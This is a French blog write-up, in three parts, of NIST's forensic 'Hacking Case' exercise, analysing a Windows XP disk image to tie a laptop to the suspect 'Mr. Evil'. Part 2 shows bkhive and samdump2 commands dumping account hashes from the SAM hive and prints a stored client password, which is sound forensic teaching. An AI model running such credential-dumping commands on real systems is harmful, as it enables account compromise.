Yahoo mail, a popular web based email service, saves copies of the email under what file name?
Après avoir fait un essai j'aurais été tenté de dire "file.html". En réalité IE met en cache les mails de chez Yahoo! dans des fichiers du type wbkXX.tmp où XX représente une valeur hexadécimale.
La plupart des mails étaient du spam, des discussions sur des newsgroup Yahoo! ou des informations sans intérêts.

How many executable files are in the recycle bin?
Are these files really deleted?

Les fichiers envoyés à la corbeille ne sont pas réellement supprimés. Ils sont placés dans un répertoire nommé RECYCLER et sont renommés sous la forme DcN.ext où N est un chiffre décimal et ext correspond à l'extension originale du fichier.
Les correspondances permettant de remettre le fichier en place en cas de restauration sont stockés dans un fichier INFO2 que l'on peut analyser à l'aide de rifiuti, l'un des très pratique outils de la suite ODESSA.
# file RECYCLER/S-1-5-21-2000478354-688789844-1708537768-1003/*
RECYCLER/S-1-5-21-2000478354-688789844-1708537768-1003/Dc1.exe:     MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit
RECYCLER/S-1-5-21-2000478354-688789844-1708537768-1003/Dc2.exe:     MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit, Nullsoft Installer self-extracting archive
RECYCLER/S-1-5-21-2000478354-688789844-1708537768-1003/Dc3.exe:     MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit, UPX compressed
RECYCLER/S-1-5-21-2000478354-688789844-1708537768-1003/Dc4.exe:     MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit, Nullsoft Installer self-extracting archive
RECYCLER/S-1-5-21-2000478354-688789844-1708537768-1003/desktop.ini: ASCII text, with CRLF line terminators
RECYCLER/S-1-5-21-2000478354-688789844-1708537768-1003/INFO2:       Hitachi SH big-endian COFF object, not stripped

# rifiuti RECYCLER/S-1-5-21-2000478354-688789844-1708537768-1003/INFO2
INFO2 File: RECYCLER/S-1-5-21-2000478354-688789844-1708537768-1003/INFO2

INDEX   DELETED TIME    DRIVE NUMBER    PATH    SIZE
1       08/25/2004 18:18:25     2       C:\Documents and Settings\Mr. Evil\Desktop\lalsetup250.exe      2160128
2       08/27/2004 17:12:30     2       C:\Documents and Settings\Mr. Evil\Desktop\netstumblerinstaller_0_4_0.exe       1325056
3       08/27/2004 17:15:26     2       C:\Documents and Settings\Mr. Evil\Desktop\WinPcap_3_01_a.exe   442880
4       08/27/2004 17:29:58     2       C:\Documents and Settings\Mr. Evil\Desktop\ethereal-setup-0.10.6.exe    8460800

On a donc 4 exécutables qui correspondent à des programmes d'installation.

How many files are actually reported to be deleted by the file system?
Il y a énormément de fichiers effacés par le système. J'ai obtenu une liste par Autopsy mais je n'ai pas noté le nombre exact. Aucun fichier ne m'a semblé être d'intérêt dans notre cas.

Perform a Anti-Virus check. Are there any viruses on the computer?
# avgscan .
AVG7 Anti-Virus command line scanner
Copyright (c) 2006 GRISOFT, s.r.o.
Version du programme 7.5.45, engine 442
Base de Virus: Version 269.4.0/762  2007-04-15
Le type de licence est GRATUIT
./My Documents/COMMANDS/enum.exe  Programme potentiellement nuisible HackTool.VT
./My Documents/COMMANDS/nc.exe  Programme potentiellement nuisible RemoteAdmin.T
./My Documents/COMMANDS/pwdump2.exe  Programme potentiellement nuisible HackTool.AH
./My Documents/ENUMERATION/NT/enum/files/enum.exe  Programme potentiellement nuisible HackTool.VT
./My Documents/EXPLOITATION/NT/Get Admin/GASYS.DLL  Programme potentiellement nuisible Exploit.AHE
./My Documents/EXPLOITATION/NT/Get Admin/GetAdmin.exe  Programme potentiellement nuisible Exploit.AHC
./My Documents/EXPLOITATION/NT/sechole/ADMINDLL.DLL  Cheval de Troie Generic3.CPH
./My Documents/EXPLOITATION/NT/sechole/SECHOLE.EXE  Cheval de Troie Generic.GRY
./My Documents/EXPLOITATION/NT/sechole/SECHOLED.EXE  Cheval de Troie Generic.ACE
./WINDOWS/system32/advert.dll  Adware Generic.GPV
Analysés: 7420 fichiers, 0 secteurs
Infections: 10
Erreurs: 0

Comme on s'en doute il y a quelques outils détectés comme HackTool, Cheval de Troie et Exploit.
Le poste semble être infecté par un adware. Les caches d'IE m'ont aussi permis de constater le manque de filtrage contre les ADS (IE olbige).

Quelques trucs pour finir
Pasco de ODESSA permet de lire les fichiers .dat d'IE.
En dehors des sites de Yahoo!, Ethereal, NetStumbler, Hackoo, 2600 etc j'ai relevé les urls suivantes :
file://4.12.220.254/Temp/yng13.bmp
http://edit.yahoo.com/config/id_check?.fn=Greg&.ln=Schardt&.id=mrevil2000&.u=b568cfp0ic6g0

Je ne saurais dire à quoi correspond la première. La seconde est la tentative de création du compte mrevil2000.

Le pirate a aussi accèdé à WhatIsMyIP à plusieurs reprises qui lui a répondu "216.62.23.121" d'après une page en cache.

Le compte email de Mr. Evil ne contenait que le message de bienvenue après création de la boite :

Look@LAN a mémorisé deux adresses :
\$$$PROTO.HIV\Look@LAN\MRUHosts
LastWrite time: Thu Aug 26 15:05:02 2004
        --> MRU1;REG_SZ;4.12.220.254^@
        --> MRU2;REG_SZ;169.254.50.81^@

Mais qui est 4.12.220.254 ?

Mémoire de "Exécuter" :
\$$$PROTO.HIV\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
LastWrite time: Thu Aug 26 15:05:15 2004
        --> a;REG_SZ;www.cnn.com\1^@
        --> MRUList;REG_SZ;dcba^@
        --> b;REG_SZ;cmd\1^@
        --> c;REG_SZ;www.google.com\1^@
        --> d;REG_SZ;telnet\1^@

Un répertoire partagé était visiblement sur notre IP mystère :
# grep -r 4.12.220.254 *
Fichier binaire Documents and Settings/Mr. Evil/Local Settings/History/History.IE5/index.dat concorde
Fichier binaire Documents and Settings/Mr. Evil/Local Settings/History/History.IE5/MSHist012004082620040827/index.dat concorde
Fichier binaire Documents and Settings/Mr. Evil/NetHood/Temp on m1200 (4.12.220.254)/target.lnk concorde
Fichier binaire Documents and Settings/Mr. Evil/NTUSER.DAT concorde
Fichier binaire Documents and Settings/Mr. Evil/Recent/Temp on m1200 (4.12.220.254).lnk concorde
Fichier binaire Documents and Settings/Mr. Evil/Recent/yng13.lnk concorde

J'ai aussi vu des mails visiblement encodés parmis les caches pour Yahoo! Bien que le codage semble simple je ne s'aurais pas dire ce qu'il en est.

Conclusion
Si vous avez des choses à cacher, n'utilisez pas Windows (à mon avis KDE c'est à peu près le même constat)
Tout ça c'était très intéressant à analyser et j'ai appris quelques nouveaux trucs sur Windows.

Deux autres docs à lire :
Recycler Bin Record Reconstruction
Un document sur les fichiers LNK

Analyse forensique d'un système Windows : partie 2

Rédigé par devloop - -

A search for the name of "Greg Schardt" reveals multiple hits. One of these proves that Greg Schardt is Mr. Evil and is also the administrator of this computer. What file is it? What software program does this file relate to?
On passe un grep bien placé : grep -R -i schar *
Parmi les résultats obtenus, une page html dans le cache d'Internet Explorer :
Documents and Settings/Mr. Evil/Local Settings/Temporary Internet Files/Content.IE5/JIRVJY9X/id_check[1].htm
Ce fichier nous apprend que l'utilisateur a tenté d'enregistrer un compte Yahoo! Mail avec le login "mrevil2000". Ce compte était déjà pris, Yahoo! propose différentes solutions basées sur les noms et prénoms qu'il a saisi. Ces informations sont d'ailleurs présentes dans le code source de la page :

On trouve aussi un fichier ini correspondant à l'application de monitoring réseau Look@LAN. Ce fichier est Program Files/Look@LAN/irunin.ini qui contient notamment les lignes suivantes :
[Variables]
%LANHOST%=N-1A9ODN6ZXK4LQ
%LANDOMAIN%=N-1A9ODN6ZXK4LQ
%LANUSER%=Mr. Evil
%REGOWNER%=Greg Schardt
%MYDOCUMENTSDIR%=C:\Documents and Settings\Mr. Evil\My Documents
%SRCFILE%=C:\Documents and Settings\Mr. Evil\Desktop\lalsetup250.exe
%SRCDIR%=C:\Documents and Settings\Mr. Evil\Desktop

Non seulement on a la preuve que Greg Schardt se cache derrière Mr. Evil mais aussi que son compte windows a les droits nécessaires pour installer un logiciel.

De plus les comptes Administrator et Mr. Evil ont des mots de passe vide (les hashs présents correspondent à une chaine vide) :
# cd /mnt/WINDOWS/system32/config
# bkhive system /tmp/hive
bkhive 1.1.0 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : $$$PROTO.HIV
Default ControlSet: 001
Bootkey: d6089864d286cb02e4d55c4968d130ab
# samdump2 SAM /tmp/hive
samdump2 1.1.0 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
No password for Guest
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:21118292169779ec4027c45deeef399d:bd8c73557c81323923ce58a35a475b63:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c23fadd57e66830c9575b070ad3a2026:::
Mr. Evil:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Cela s'ajoute à l'hypothèse qu'une seule personne utilise le portable.

List the network cards used by this computer
Dans la ruche system, sous \ControlSet001\Services\Tcpip\Parameters\Interfaces on trouve les différentes interfaces réseau :
{6E4090C2-FAEF-489A-8575-505D21FC1049}
{86FC0C96-3FF2-4D59-9ABA-C602F213B5D2}
{F9356994-E82B-49FC-BFE9-59568F68F497}
{417ECA57-8D1D-49AE-990C-18E6A627A059}

J'ai aussi remarqué par d'autres clés dans la BDR que les deux dernières interfaces semblent être des alias. Seules les deux premières sont à prendre en compte. Les clés sous Software\Microsoft\Windows NT\CurrentVersion\NetworkCards nous donnent plus d'informations sur ces interfaces.
Ainsi 6E4090C2-FAEF-489A-8575-505D21FC1049 serait une "Xircom CardBus Ethernet 100 + Modem 56 (Ethernet Interface)" tandis que 86FC0C96-3FF2-4D59-9ABA-C602F213B5D2 serait une carte "Compaq WL110 Wireless LAN PC Card".

This same file reports the IP address and MAC address of the computer. What are they?
An internet search for vendor name/model of NIC cards by MAC address can be used to find out which network interface was used. In the above answer, the first 3 hex characters of the MAC address report the vendor of the card. Which NIC card was used during the installation and set-up for LOOK@LAN?

C'est de loin la partie qui m'a posée le plus de problèmes. Windows ne semble pas stocker les addresses MAC dans un fichier spécifique par conséquent il a fallu chercher ailleurs...

La carte ethernet est visiblement configuré pour avoir une adresse IP attribuée par DHCP :
\ControlSet001\Services\{6E4090C2-FAEF-489A-8575-505D21FC1049}\Parameters\Tcpip
LastWrite time: Fri Aug 27 15:30:17 2004
        --> EnableDHCP;REG_DWORD;1
        --> IPAddress;REG_MULTI_SZ;0.0.0.0^@^@
        --> SubnetMask;REG_MULTI_SZ;0.0.0.0^@^@
        --> DefaultGateway;REG_MULTI_SZ;
        --> DhcpIPAddress;REG_SZ;0.0.0.0^@
        --> DhcpSubnetMask;REG_SZ;255.0.0.0^@
        --> DhcpServer;REG_SZ;255.255.255.255^@
        --> Lease;REG_DWORD;3600
        --> LeaseObtainedTime;REG_DWORD;1093620617
        --> T1;REG_DWORD;1093622417
        --> T2;REG_DWORD;1093623767
        --> LeaseTerminatesTime;REG_DWORD;1093624217

Dans le fichier Program Files/Look@LAN/irunin.ini on a des informations nous aidant à résoudre la seconde question :
%LANIP%=192.168.1.111
%LANNIC%=0010a4933e09

La configuration de Ethereal (Documents and Settings/Mr. Evil/Application Data/Ethereal/preferences) nous informe que l'interface Wireless est plus souvent utilisée pour les attaques :
####### Capture ########
# Default capture device
capture.device: ORINOCO PC Card (Microsoft's Packet Scheduler) : \Device\NPF_{86FC0C96-3FF2-4D59-9ABA-C602F213B5D2}

tout comme celles de Cain (\Software\Cain\Settings) :
Adapter;REG_SZ;\Device\NPF_{86FC0C96-3FF2-4D59-9ABA-C602F213B5D2}

Une information précieuse est présente dans les "event logs" du système (fichiers Evt) :
Record nb : 11
Time Generated : Thu Aug 19 22:50:32 2004 GMT
Time Written : Thu Aug 19 22:52:02 2004 GMT
Evt ID : 1073746025 Evt type : 4 Evt category : 0
Program : Tcpip
Computer : N-1A9ODN6ZXK4LQ
String 0 :
String 1 : \DEVICE\TCPIP_{6E4090C2-FAEF-489A-8575-505D21FC1049}

Record nb : 12
Time Generated : Thu Aug 19 22:52:59 2004 GMT
Time Written : Thu Aug 19 22:52:59 2004 GMT
Evt ID : 1007 Evt type : 2 Evt category : 0
Program : Dhcp
Computer : N-1A9ODN6ZXK4LQ
String 0 : 0010A4933E09
String 1 : 169.254.242.213

Résumons : l'interface 6E4090C2-FAEF-489A-8575-505D21FC1049 correspond à la carte ethernet Xircom. L'ip 169.254.242.213 lui a été attribuée par DHCP. L'adresse MAC est 00:10:A4:93:3E:09. C'est cette carte qui a permis d'installer Look@LAN.

Pour lire les logs Windows j'ai utilisé evtreader.pl disponible sur d-fence.be.

Find 6 installed programs that may be used for hacking.
On trouve sans difficultés différents programmes installés : Anonymiser, Cain, Ethereal, Look@LAN, Network Stumbler et AnalogX WhoIs.
Notons aussi la présence de tout un arsenal d'outils de piratage classés soigneusement par catégories (énumératio, footprinting, exploitation...) dans C:\My Documents\.
Dans les entrées UserAssist et MRU de la base de registre, qui correspondent à la mémorisation des documents récents et des commandes tapées dans Démarrer > Exécuter, on trouve de nombreuses références à un lecteur D: qui contient beaucoup de programmes du même type.

What is the SMTP email address for Mr. Evil?
En fouillant dans les fichiers présents dans le cache d'Internet Explorer (certains sont compressés), j'ai pû trouver une page correspondant à la fin de la procédure de création du compte Yahoo! Mail de Mr. Evil :

What are the NNTP (news server) settings for Mr. Evil?
Ces informations se situent dans la ruche NTUSER.DAT :
\$$$PROTO.HIV\Software\Microsoft\Windows\CurrentVersion\UnreadMail\whoknowsme@sbcglobal.net
LastWrite time: Fri Aug 20 21:18:30 2004
        --> MessageCount;REG_DWORD;0
        --> TimeStamp;REG_BINARY;90 0e dc 3d fb 86 c4 01
        --> Application;REG_SZ;msimn^@

\$$$PROTO.HIV\Software\Microsoft\Internet Account Manager\Accounts\00000002
LastWrite time: Fri Aug 20 21:16:43 2004
        --> Account Name;REG_SZ;news.dallas.sbcglobal.net^@
        --> Connection Type;REG_DWORD;3
        --> NNTP Server;REG_SZ;news.dallas.sbcglobal.net^@
        --> NNTP User Name;REG_SZ;whoknowsme@sbcglobal.net^@
        --> NNTP Use Sicily;REG_DWORD;0
        --> NNTP Display Name;REG_SZ;Mr Evil^@
        --> NNTP Email Address;REG_SZ;whoknowsme@sbcglobal.net^@
        --> NNTP Prompt for Password;REG_DWORD;0
        --> Last Updated;REG_BINARY;10 db d8 fd fa 86 c4 01

\$$$PROTO.HIV\Software\Microsoft\Internet Account Manager\Accounts\00000001
LastWrite time: Fri Aug 20 21:14:20 2004
        --> Account Name;REG_SZ;pop.sbcglobal.net^@
        --> Connection Type;REG_DWORD;3
        --> POP3 Server;REG_SZ;pop.sbcglobal.net^@
        --> POP3 User Name;REG_SZ;whoknowsme@sbcglobal.net^@
        --> POP3 Use Sicily;REG_DWORD;0
        --> POP3 Prompt for Password;REG_DWORD;0
        --> SMTP Server;REG_SZ;smtp.sbcglobal.net^@
        --> SMTP Display Name;REG_SZ;Mr Evil^@
        --> SMTP Email Address;REG_SZ;whoknowsme@sbcglobal.net^@

Ces informations se retrouvent aussi dans le fichier Program Files/Agent/Data/AGENT.INI :
[Profile]
FullName="Mr Evil"
EMailAddress="whoknowsme@sbcglobal.net"
UserName="whoknowsme@sbcglobal.net"
Password="84106D94696F"
SMTPUserName="whoknowsme@sbcglobal.net"
SMTPPassword="84106D94696F"

[Servers]
NewsServer="news.dallas.sbcglobal.net"
MailServer="smtp.sbcglobal.net"
POPServer=""
NNTPPort=119
SMTPPort=25
POPPort=110
SMTPServerPort=25

What two installed programs show this information?
Les entrées dans la BDR correspondent à Outlook Express. Le fichier ini correspond au lecteur de news Forte Agent.

List 5 newsgroups that Mr. Evil has subscribed to?
La liste complète est stockée sous forme de fichiers Outlook Express dans le dossier Documents and Settings/Mr. Evil/Local Settings/Application Data/Identities/{EF086998-1115-4ECD-9B13-9ADC067B4929}/Microsoft/Outlook Express/. Je ne donnerais que quelques newsgroups :
alt.hacking
alt.2600
alt.binaries.hacking.utilities
alt.dss.hack
free.binaries.hackers.malicious
free.binaries.hacking.talentless.troll-haven

Fin de la seconde partie. Stay tuned.

Analyse forensique d'un système Windows : partie 1

Rédigé par devloop - -

Avant propos

L'"inforensique" (version françisée du terme computer forensics est l'ensemble des techniques visant à analyser un système informatique dans le but de collecter des informations et de recréer une image de l'activité ayant eu lieu sur ce système informatique.
Principalement utilisée dans le cas d'investigations liées à la cyber-criminalité, on l'appelle parfois "analyse post-intrusion" ou "analyse post-mortem" dans le cas de l'analyse d'un système informatique ayant rendu l'âme.

L'inforensique est souvent liée à la récupération de données (data recovery) effacées ou non. Dans le cas de la récupération de données effaçées on peut distinguer deux méthodes : la récupération basé sur les métadonnées ou sur les entêtes du fichier (file carving)

Ces définitions ne sont pas officielles et sujettes à améliorations.

Informations et scénario

Le système que nous allons étudier a été mis à disposition par le NIST (National Institute of Standards and Technology) et fait partie de son projet Computer Forensic Reference Data Sets (CFReDS)

Les données auxquelles nous avons accès sont l'image d'un disque dûr réalisée à l'aide de la commande de copie bas niveau "dd". L'image a une taille de 4.4Go, aussi elle a été découpée en 7 morceaux de 636Mo.
Les fichiers et les informations nécessaires sont disponibles sur la page Hacking Case.

Le scénario est le suivant : Un portable Dell CPi, numéro de série VLQLW, a été trouvé abandonné avec une carte wireless PCMCIA et une antenne externe 802.11b fait maison.
Ce portable est suspecté d'avoir été utilisé pour réaliser des attaques informatiques, bien qu'à l'heure actuelle on ne peut pas faire le lien avec un suspect nommé Greg Schardt, connu aussi pour ses activitées de hacking sous le pseudonyme "Mr. Evil".
M. Schardt aurait apparemment l'habitude de faire du wardriving pour tenter de récupérer des informations confidentielles telles que login et passwords, numéros de cartes de crédit...

L'objectif est de prouver que l'ordinateur a servi à des fins de piratage et de faire le lien entre Greg Schardt et l'ordinateur.

Quelques notes avant de commencer

Comme nous le verrons, le disque analysé contient le système d'exploitation Windows XP. C'est une sacré chance d'avoir l'occasion d'analyser un système Windows puisque pour des raisons légales on ne trouve généralement que des images de systèmes GNU/Linux ou des images ne contenant pas un système d'exploitation (pour des tests de carving par exemple).
En effet les exécutables Windows sont sous licence propriétaire Microsoft par conséquent la mise à disposition de ces fichiers, quelque soit la forme sous laquelle ils se trouvent, n'est pas très légale. Mais comme le NIST dépend du Département US du Commerce je suppose qu'on a affaire à une exception (puis on va pas s'en plaindre).

Au total il nous faut répondre à 31 questions sur le système étudié. Cela nous facilité la tâche puisque nous saurons plus ou moins où chercher les informations.
J'ai réalisé l'analyse sans tricher (je regarderais les solutions une fois toutes les parties de l'article mises en ligne) et en utilisant de préférences des logiciels libres et/ou gratuit.

Vérification des fichiers et génération d'une image unique

Après avoir téléchargé les 7 morceaux de l'image et avoir vérifié que leurs hashs md5 correspondaient à ceux présents dans les notes, on peut passer à la concaténation des fichiers en un fichier unique :
cat images\\hacking-dd\\SCHARDT.002 >> images\\hacking-dd\\SCHARDT.001
cat images\\hacking-dd\\SCHARDT.003 >> images\\hacking-dd\\SCHARDT.001
cat images\\hacking-dd\\SCHARDT.004 >> images\\hacking-dd\\SCHARDT.001
cat images\\hacking-dd\\SCHARDT.005 >> images\\hacking-dd\\SCHARDT.001
cat images\\hacking-dd\\SCHARDT.006 >> images\\hacking-dd\\SCHARDT.001
cat images\\hacking-dd\\SCHARDT.007 >> images\\hacking-dd\\SCHARDT.001

Comme vous pouvez vous en douter il faut avoir quelques giga octets de libres sur son disque pour récupérer les images.
Je m'assure ensuite que l'image ne sera pas modifiée par mégarde et je l'a renomme en quelque chose de plus maniable :
# chmod -w images\\hacking-dd\\SCHARDT.001
# mv images\\hacking-dd\\SCHARDT.001 nist.img
# ls -lh nist.img
-r-------- 1 root root 4,4G avr 15 21:11 nist.img
# md5sum nist.img
f2e794489133b98c7106fd97cdf5a27f  nist.img

What is the image hash? Does the acquisition and verification hash match?
Le hash de l'image entière est f2e794489133b98c7106fd97cdf5a27f. Les hahs des fichiers téléchargés correspondant bien à ceux présents dans les notes, de plus la vérification du hash global après l'analyse est bien le même que le hash obtenu après concaténation, preuve que l'analyse s'est faite sans altération.

What operating system was used on the computer?
Le résultat de la commande file sur l'image nist.img nous donne le résultat suivant :

x86 boot sector, Microsoft Windows XP MBR, Serial 0xec5dec5d; partition 1: ID=0x7, active, starthead 1, startsector 63, 9510417 sectors


Montons maintenant l'image en lecture seule et promenons nous sur ce disque dûr :
# mount -o loop,ro,offset=32256 nist.img /mnt/
# cd /mnt/
# ls
AUTOEXEC.BAT  BOOTSECT.DOS  Documents and Settings  MSDOS.---     ntdetect.com   RECYCLER      System Volume Information  WINDOWS
boot.ini      COMMAND.COM   FRUNLOG.TXT             MSDOS.SYS     ntldr          SETUPLOG.TXT  Temp
BOOTLOG.PRV   CONFIG.SYS    hiberfil.sys            My Documents  pagefile.sys   SUHDLOG.DAT   VIDEOROM.BIN
BOOTLOG.TXT   DETLOG.TXT    IO.SYS                  NETLOG.TXT    Program Files  SYSTEM.1ST    WIN98
# cat boot.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect

A priori le système est un Windows XP. Faisons une vérification supplémentaire en regardant le numéro de version inscrit dans la base de registre.
Pour cela j'ai utilisé un petit programme perl nommé "Offline Registry Parser" et développé par Harlan Carvey (keydet89), l'auteur du blog Windows Incident Response et du livre "Windows Forensic Analysis".

Ca aurait peut-être été plus facile d'utiliser les fonctionnalités d'éditeur de registre de chntpw mais le "regp.pl" est le premier outil que j'ai essayé et j'ai continué avec.

La base de registre Windows est stockée dans différents fichiers que l'on appelle des "ruches" (hives). La plupart se trouvent dans le répertoire WINDOWS/system32/config/.
Les ruches spécifiques aux utilisateurs sont les fichiers NTUSER.DAT se trouvant dans Documents and Settings/<username>/.
La correspondance entre les ruches et l'arborescence du registre est la suivante :
Default : HKEY_USERS\.Default
SAM : HKEY_LOCAL_MACHINE\SAM
Security : HKEY_LOCAL_MACHINE\Security
Software : HKEY_LOCAL_MACHINE\Software
System : HKEY_LOCAL_MACHINE\System
NTUSER.DAT : KKEY_CURRENT_USER

Avec la commande perl regp.pl WINDOWS/system32/config/software on affiche le contenu de HKEY_LOCAL_MACHINE\Software dans lequel on trouve :
\$$$PROTO.HIV\Microsoft\Windows NT\CurrentVersion
LastWrite time: Fri Aug 27 15:08:22 2004
        --> CurrentBuild;REG_SZ;1.511.1 () (Obsolete data - do not use)^@
        --> InstallDate;REG_DWORD;1092955707
        --> ProductName;REG_SZ;Microsoft Windows XP^@
        --> RegDone;REG_SZ;^@
        --> RegisteredOrganization;REG_SZ;N/A^@
        --> RegisteredOwner;REG_SZ;Greg Schardt^@
        --> SoftwareType;REG_SZ;SYSTEM^@
        --> CurrentVersion;REG_SZ;5.1^@
        --> CurrentBuildNumber;REG_SZ;2600^@
        --> BuildLab;REG_SZ;2600.xpclient.010817-1148^@

On est bien sur un système Windows XP.

When was the install date?
Dans le listing précedent on trouve la clé InstallDate. Elle correspond au nombre de seconde écoulées depuis le 1er janvier 1970 (un format récurrent sur les systèmes UNIX). Pour traduire ça j'ai fait un petit programme en C :
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void)
{
  time_t t=1092955707;
  printf("%s",ctime(&t));
  return 0;
}

On compile et on lance, on obtient "Fri Aug 20 00:48:27 2004". Les dates des fichiers sur le disque (que l'on peut avoir avec un simple "ls -l" une fois le système monté) correspondent aussi au mois d'août.

Pour savoir où fouiller dans la base de registres j'ai trouvé deux documents PDF sympathiques :
Forensic Analysis of the Windows Registry
Access Data : Registry Quick Find Chart

What is the timezone settings?
On trouve l'information dans la ruche "system" :
\$$$PROTO.HIV\ControlSet001\Control\TimeZoneInformation
LastWrite time: Thu Aug 19 17:20:02 2004
        --> Bias;REG_DWORD;360
        --> StandardName;REG_SZ;Central Standard Time^@
        --> StandardBias;REG_DWORD;0
        --> StandardStart;REG_BINARY;00 00 0a 00 05 00 02 00 00 00 00 00 00 00 00 00
        --> DaylightName;REG_SZ;Central Daylight Time^@
        --> DaylightBias;REG_DWORD;4294967236
        --> DaylightStart;REG_BINARY;00 00 04 00 01 00 02 00 00 00 00 00 00 00 00 00
        --> ActiveTimeBias;REG_DWORD;300

Un article de WindowsITPro nous donne plus d'information sur le sens des différentes clés.
Le système est en décalage de 6 heures par rapport à l'heure de Greenwich (6 * 60 = 360). Cela fait pointer la zone horaire de notre pirate vers l'Amérique du Nord (Canada, Etats-Unis) ou le Mexique. La description de la timezone, Central Time correspond à nos calculs.

Who is the registered owner?
Comme nous l'avons vu précédemment, dans Software\Microsoft\Windows NT\CurrentVersion, on trouve une clé nommée RegisteredOwner dont la valeur est "Greg Schardt"... pwn3d !

What is the computer account name?
Réponse dans la ruche system :
\$$$PROTO.HIV\ControlSet001\Control\ComputerName\ComputerName
LastWrite time: Thu Aug 19 22:20:03 2004
        --> ComputerName;REG_SZ;N-1A9ODN6ZXK4LQ^@

What is the primary domain name?
Le domaine Windows utilisé par défaut est mémorisé par WinLogon (ruche software) :
\$$$PROTO.HIV\Microsoft\Windows NT\CurrentVersion\Winlogon
LastWrite time: Fri Aug 27 15:08:20 2004
        --> DefaultDomainName;REG_SZ;N-1A9ODN6ZXK4LQ^@
        --> DefaultUserName;REG_SZ;Mr. Evil^@

When was the last recorded computer shutdown date/time?
Toujours dans la base de registre Windows qui est une véritable mine d'information (ruche system):
\$$$PROTO.HIV\ControlSet001\Control\Windows
LastWrite time: Fri Aug 27 15:46:33 2004
        --> Directory;REG_EXPAND_SZ;%SystemRoot%^@
        --> ErrorMode;REG_DWORD;0
        --> NoInteractiveServices;REG_DWORD;0
        --> SystemDirectory;REG_EXPAND_SZ;%SystemRoot%\system32^@
        --> ShellErrorMode;REG_DWORD;1
        --> ShutdownTime;REG_BINARY;c4 fc 00 07 4d 8c c4 01

Cette fois j'ai fait appel à un outil non-libre mais gratuit : Decode - Forensic Date/Time Decoder
C'est un petit utilitaire qui tourne sous Windows (ou wine avec les bonnes dlls).

J'avoue ne pas mettre soucié beaucoup de cette histoire de timestamp... Il faut normalement retirer 6 heures pour obtenir la bonne heure.

How many accounts are recorded (total number)?
La réponse de trouve bien sûr dans la ruche SAM. On trouve les noms d'utilisateurs suivants : SUPPORT_388945a0, Guest, Mr. Evil, HelpAssistant et Administrator.
En dehors de Mr. Evil, tous correspondent à des comptes classiques pour un Windows XP. Dans une telle configuration il est fort à parier que Mr. Evil est l'un des administrateurs du poste.

What is the account name of the user who mostly uses the computer?
Who was the last user to logon to the computer?

Avec ce que l'on a vu précédemment, la présence de Mr. Evil dans la mémoire de WinLogon et le nombre de fichiers dans les répertoires personnels de cet utilisateur, je réponds Mr. Evil.

Fin de la première partie. See you soon